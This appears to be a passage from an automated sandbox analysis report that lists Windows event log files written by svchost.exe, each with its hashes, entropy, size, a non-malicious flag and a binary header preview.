SHA1:	BAC3632B709B853DFFCD9C4D65D1F9236F6FE551
SHA-256:	033CF49641F4E76EFABF8F25753074E7EE72DD567FBA4145D446032D3D9CFADB
SHA-512:	F5A9CA2D464EBA1F2F4EA426AC3864FB399A8951958BA44BA550E2129C4F4D4DA9E60F0D1B18A07CC76D4BC2CFD20D283F446A47DF990B52916113D5383A1952
Malicious:	false
Preview:	ElfChnk.........~...............~...................F..........................................................................T................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................N...............y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	91344
Entropy (8bit):	2.4822122537855273
Encrypted:	false
SSDEEP:	384:Whdo69CcoTorNorWorbvorTorZorQorNor7orqorlGhorXorWorxFo8ormor8orn:WDCFxfDCFxH
MD5:	275C576D4BCC1D4CEB028B8C68813E0E
SHA1:	3F562D4F5270152E45626970C3B8D5542BAA0FFE
SHA-256:	0B8717F802EBF8DC6F6CE19C3E13A4B4E9309B1E8B0BCAB0D24801940A4D526F
SHA-512:	FDDCEDBDAD2B72A91FF641C9DA79AB892F02B013A267179FC184DCC95E561DEF19DB1C293158E73330B2E4E0F7AC2C83D3B1F7F1E515906963A4A759AC413998
Malicious:	false
Preview:	ElfChnk.....................................`J...L..:...........................................................................................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................3..................................=/....... ......U)..............................**...............k...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8511209646626153
Encrypted:	false
SSDEEP:	384:ChAiPA5PNPxPEPHPhPEPmPSPRP3PoPbPfP0bPnPdP:C2NZ
MD5:	A98C811B8E1B821CD1FE05A68ADD446A
SHA1:	4E8B739F5E308F943962E72FF24212FFBE47FAD7
SHA-256:	58F6584C100174B80ACB8940226841B77884326A293CEE9072F4DD4CF8C10133
SHA-512:	24A7B9C86A6CE93B9B7F4107A433A247789EE568EB69E301B51DC9D01AA40D2F408AD76B78F7F83E5F4EB47C1677276BC86F86A99BAB95186C2331ABE4CA523C
Malicious:	false
Preview:	ElfChnk......................................%...&..?........................................................................<.m................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&................................................................................ ..............'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8431535491551847
Encrypted:	false
SSDEEP:	384:OhZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+lk:OWXSYieD+tvgzmMvRQAsNi
MD5:	106F006ACA6287586EF71A10A5C06C4D
SHA1:	B4B6D91FF53E9BDFC8D0D99A0D6F643E49074932
SHA-256:	79E64A943AED80ADAE43934E4573F95AE7308DDD6FC896EEDDB386C8A41FBA65
SHA-512:	F4D49C8CBC2B46719521935DFABDC3E05883C2360D4E472920C420B1ACC74D0F835D10A2C5BA6E29038425809D585025172FDC9E534619C017D70FA4D9F23D53
Malicious:	false
Preview:	ElfChnk......................................$...&..{n.8.....................................................................{..................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................................................................................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.0988330752830935
Encrypted:	false
SSDEEP:	384:xhqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28t:xbCyhLfIIJ
MD5:	383AC4E465E28A79F2F748E86807EC50
SHA1:	EF7B52A6A9586F0752339E198ED02F0239920015
SHA-256:	86C407E10698BE804BAD07BD1DA7D24F631905F5800FA75C156D8D0C237280A8
SHA-512:	3FD344312C7164266DBDDF512BD8BD1735FDE5048752772BCBD3658D79F7895BF78F7DFEA724066290E579922773262EEAE2438D23E8330063C7012B4596921E
Malicious:	false
Preview:	ElfChnk.........K...............K...........H...0...7?6.....................................................................0...................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n................................................{......................................**..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.318227577210551
Encrypted:	false
SSDEEP:	768:5cMhFBuyKskZljdoKXjtT/r18rQXn8BiJCF9Hhr:CMhFBuV
MD5:	5C633A280FB6049ED65FB3D9FB6ED41D
SHA1:	EA8D9B84B69F08E866CEE93019E7D9D2F2055666
SHA-256:	C173BD37497EC6CC0B01BDBD0F2813644D398457279644AEDA0F9925E546091F
SHA-512:	3E040021C7ABF4B9242BA0851F377EB0B077A1CFCAC0E012A4AB7E2551157BF7AC70E979A6F7225A3E260D5C393DBACAA78831C0BC46356C966A524271CC57CF
Malicious:	false
Preview:	ElfChnk.........M...............M..............8...^..Q....................................................................q...................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A.........................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.897188617668832
Encrypted:	false
SSDEEP:	768:6HCGQ+uYvAzBCBao/F6Cf2SEqEhwaK41HZavAFDtCwvhr9aUS:fHu5
MD5:	3E0591299F722A0DAF8902BAF5ADB858
SHA1:	749457A4CBC1EBD2EE699A12C4FC4C0CEB830B53
SHA-256:	A933D2B22F2B300F28620F2AA0805734F091BFF2874D903BE5A75A1318464FDD
SHA-512:	263E8035314B849494CE8E743C482B4F3C3E3DCC97F85762EB395DB95256D1AC6A252BF21FDF93106E82AADA35DF07476624E74962F0FE176DD87BF2D75544EE
Malicious:	false
Preview:	ElfChnk.v.......x.......v.......x...........P...`...O8.#......................................................................29........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..@...v.......j.=.f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9985877171483062
Encrypted:	false
SSDEEP:	384:Kh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzDl:KMAP1Qa5AgfQQzy
MD5:	68155E5B9816828E2CEE7B72B9F87209
SHA1:	BB221A7C8FA313F96BC64ECD65A05CDD72F07828
SHA-256:	C2F1FAEAE043E0FE26A0F45D4EDCF18ED5F3A0372B4A1D86F8EAD9F4ACFE270A
SHA-512:	8D5C79D6B1FEBE9B106238D78091E8C8EEA5327F080A3FFF9BF8AB7C49D66D96C75418A5332058C8ECAD4A761D8B04058A401D1BA7B62379D58E150FF95DFDEF
Malicious:	false
Preview:	ElfChnk......................................c...f...g=........................................................................................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&.......\......;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.441017411582523
Encrypted:	false
SSDEEP:	384:BhdERE5EUELEvE/EpEbEmEfEjoPjE4FEqEZEVEiEUhqEd/2EME0EHE+EIy4qEQi0:BQoPjvh7jhHl7lzuzbCN7y+D
MD5:	8D30244BF7119CFA2F8A7A5AF8FCDAB7
SHA1:	F0827675265E0DF98A4967D8A539D476551DCAA6
SHA-256:	489E810931FD45E6D7620FE65EBF1F1A66235B06E572C2C293BD080EE1C8E1ED
SHA-512:	C71504A8F8D370825FC0C8C605B9F7217EFF2025838ED8FDF3F04CCC41E86751659BB60C7E79C48BBDDC1089C771DD16A193C107DDE4A1487F037BB2FC1455B8
Malicious:	false
Preview:	ElfChnk.q...............q....................i..Pk..buI......................................................................o._................&.......................N...=...........................................................................................................................f...............?...........................m...................M...F........................................7...(..................};...........?..M=.......9..............U..&....$..........."..............=1......*......q........\|.xf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.2803522685445374
Encrypted:	false
SSDEEP:	384:RhYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3Kl0:R1T4hZovIZC7
MD5:	4A70DB2946C129829BEDDB2E147FBE04
SHA1:	4D3255FABE0E857840591072D9370047FDDFB83A
SHA-256:	C10981A84E3884E62907E34159FB7AA2D1F908C3E328D8D8B942B9934DFDE09C
SHA-512:	7FDBE43D4773CBC17A3879CBC012F8C9FC823529DDF6FE5E10C623B2D7AA89159132F10FE01C0632B6F8F92A0C474C67EF1D5DA4DC2EDC3CA5499D6220922AA4
Malicious:	false
Preview:	ElfChnk.........k...............k...........................................................................................<../................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.445920452673848
Encrypted:	false
SSDEEP:	384:ihFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjDff:izSKEqsMuy6SbKrTPpOIKm
MD5:	21B26F726BBEBA7FD5C4C45386FC544F
SHA1:	F6CC3E80D2AD9D2F420C42D7DA3AA3C48C9D956A
SHA-256:	63E1A62EA280BF1B031E1C98FBF21FF88795119983E5BC96C036B8EEF30D325D
SHA-512:	A28CB789E4967DB231359AFE7D221C55A57FB56EF899997EBAA0F79EBD92D34547530A64B4B5492400ABFC81631E5ED792D47B836525E5E1583BA6F656062DD5
Malicious:	false
Preview:	ElfChnk.........L...............L......................f....................................................................s.J.................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=........................................f......................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1562721664799103
Encrypted:	false
SSDEEP:	384:BhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3z2:Bmw9g3LQ
MD5:	B2C3D7448B237C268D23FE1A78777AA5
SHA1:	6C3A39325392F2B088C00CDC1763268F15832447
SHA-256:	05BC150DCBE6B62CE7D2A9CB8F706130DF70BABC54752199B02B4C91ACEE1C4E
SHA-512:	F9286BC0FC6DB6C52295C0292E2BF732C010F2D542999085F999501AC555C317FB1AFED9A2FF2DF6D91913373D0A32D2307C707381419883F5605F1D67DEE70E
Malicious:	false
Preview:	ElfChnk.........6...............6...........(o...p....Zo....................................................................ZU.#................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#.......................................^^......................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9195298486885948
Encrypted:	false
SSDEEP:	384:3hPIRbiY8SIUIi0IsIGIAICI5I2IBIaIKI+I3lKaZrIVlKaZOITTIwI:3LQ9KC8KCV
MD5:	D4A00CC59E964B7DFD6EFDB643322E9E
SHA1:	7307AF862B22D743BF6B531829DABE041E9F1F92
SHA-256:	49414D51861772E0899416FE42628F8641622E9F793F435DE7F0118F45EDE065
SHA-512:	51663BF2E9D8F1FA3BA6B87918CD36A02AFC2F53FF89F3ED104A4B4129682F0947DC825912A81844E2D25083E7249CE7C1EE8F899D847F511AB20B0404B22F27
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86..........................................................................E.U.................&.......................N...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..x...K.......1..f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.119748237037944
Encrypted:	false
SSDEEP:	384:Sh1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMpRaMRlM7kMGU:SeJB
MD5:	D1CFC256BC075DC75D7FD92207C9C0F2
SHA1:	587C19CF65305AD470E82AB5A1ED5B2E36472625
SHA-256:	6C0365C674BCE55E0C49A62D23782660D34ECB388A8A7418AD9A75DFD36E612E
SHA-512:	85F88C26274975D8EB8DDC65297064427A103B557712BD46F459B8E26A1B7E38DA3B4674920FA61476D108BA3B9846430F59AA82926AFEBDCE92B25A527331A3
Malicious:	false
Preview:	ElfChnk......................................1..p3..\q........................................................................_U........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................................................................,......................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.182756017330751
Encrypted:	false
SSDEEP:	384:9hk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS1B:9BjdjP0csdHkp
MD5:	9BA8F6B60705B6A27084436D1D4370AD
SHA1:	DCAFEC9C3F76CCE3FF65F8FED6E373B863780B6E
SHA-256:	580E71D95D6201104E37944E8A0A6596869D6C8A0CA2CD3B704FEFC9D319C957
SHA-512:	BFBAEA71174AEE5233857BFDB4427C59D945A3797EA6F5D02708807321E0ADD12ED632BAA3C5E59141CFEF108FADE90315AB670BB960A281D0E95DB18C4976A4
Malicious:	false
Preview:	ElfChnk.....................................8.......I#.e......................................................................hB................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.143020267699133
Encrypted:	false
SSDEEP:	384:/3hDIEQAGxIHIFIWwIfyITMIcIZIMIf0ITEIAI/IuIGvqIfIOIOIv0IfCOiIThIZ:/3ZxGe6dBE
MD5:	F82F4FB7DA4AB67408D6CCD9970F9030
SHA1:	D341E0589D4D7F0428A2CABB79F2E0688CE14764
SHA-256:	9BA82CC57FBF6109BCABB327261B5FE25EB084B6EBD2A4728110F9A49DFDD437
SHA-512:	BADDC1224858BA7CF9A0AE70CF54D72EA85C3659D40DCD2ABE70601EC727CD2D2F421EE767298B52286F5BB185237FCDA5C1AF0FA164BBB021E6883E4DA772D0
Malicious:	false
Preview:	ElfChnk.T...............T...........................U..7.....................................................................n..........................................>...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................1............................V...........6..........................**......T.......B..d..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.800476718060657
Encrypted:	false
SSDEEP:	384:7h6iIvcImIvITIQIoIoI3IEIMIoIBIzI9IwWInIE1IFtI:7oxqV
MD5:	F25E3A5940E51F9A49AC271DE377E2C1
SHA1:	38EB4D0BCB8EA4C72C03AD88CF9B7136C39BCDC5
SHA-256:	D2B29761907A72BE3EC03C586D87729FF91EE3D9A6CF39319FD90A1977602663
SHA-512:	CADA8EFD9868D26AA1B4DBC5A5BDD31E624547E5755ED7B413EA74D69AB731B000BB2B8FCBDD3027FDA278A7D69058DF4BE3BAEE5AB253055C70EDE7D3AA9993
Malicious:	false
Preview:	ElfChnk.....................................X"...#.../......................................................................V)..............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................................................................................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.999140584854273
Encrypted:	false
SSDEEP:	768:q4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH135:o
MD5:	5234109523F4243D8DFEEAFD9202BC60
SHA1:	49A4B237FB8BEE3A2BDAA0C20A579E06D2645F65
SHA-256:	D4CE68FD0E970CC24971E8258B962534A3BF7CB1F1E6209AA0BB1D09F4FB80E6
SHA-512:	C2CC9A4E7282BF37C4113FADBA4F7FDD1D2094B8F40FE145C58A5ABEE4A90BCD55FBD8876415BD9140EBEE36314D02FEE5525076B539BB5AA01FB1D32058B426
Malicious:	false
Preview:	ElfChnk.....................................(...8...\|.........................................................................6................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ......................................................................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67224
Entropy (8bit):	3.9433898140664385
Encrypted:	false
SSDEEP:	768:Rp07SZRcZv76NcRkpHrWbGyYKQc90XZztputDBjV8k+ulVeUtHpoVWWMjRKvc90X:XztputDBjV8k+uPPtHpoVW
MD5:	D6498A45C3E70CC8E1836B96ECCE8213
SHA1:	1F3BF9675A7A661650A5C1834B6969D3D29806B0
SHA-256:	EC44B770767642BAF93499CB9EA99627BD0F4EAB4DA264C5B9F4DBF11F2D20D9
SHA-512:	F0A7E5009588BE525AE57D054F14EBB42E49020B5CEBE77DF1EB196D0F44B77A456849AC0C864640AB9DD62039D2D5D02708444713E0C78EA8A9A045A9AF02E4
Malicious:	false
Preview:	ElfChnk.................J.......R...............@.........................................................................0.7N................2...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.........................................x...P...........MQ.........Z..&...............................................................8.......P.....!.....................MQ..0.U.f.....U.f...........P........................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.P.o.w.e.r.S.h.e.l.l.;...@\.K.f<...ZM.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.P.o.w.e.r.S.h.e.l.l./.O.p.e.r.a.t.i.o.n.a.l......L..........u.e. x.........Q...........MQ.........Z..&...............................................................8.......P...C.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.419469524959014
Encrypted:	false
SSDEEP:	384:KhWKyzK5SK+jKLSKDlKMAwpTKZDGKPK9KyKJSK2KVKzKAGP1K6GSKzKhMK7KS3KM:KIgpCnz/Gh4wRub4OYP7DedGDg
MD5:	D2C2C9CBC79955E56A7C6CEFDDA7BA26
SHA1:	275CE6B6EB6360FA5B87EA7D1675475EB1DB68C2
SHA-256:	28F052B8DF205269D84E711CA3784656959F123CAE15778D6852FD9120C838BB
SHA-512:	A9A13D340F157371C447F255561AE24EC67960F7DA743B48BC487DB5F0923F2F5FD90B443F45D5762806DA0C619115FDEBDF6F13339A2B283E424F7C8DCCFA32
Malicious:	false
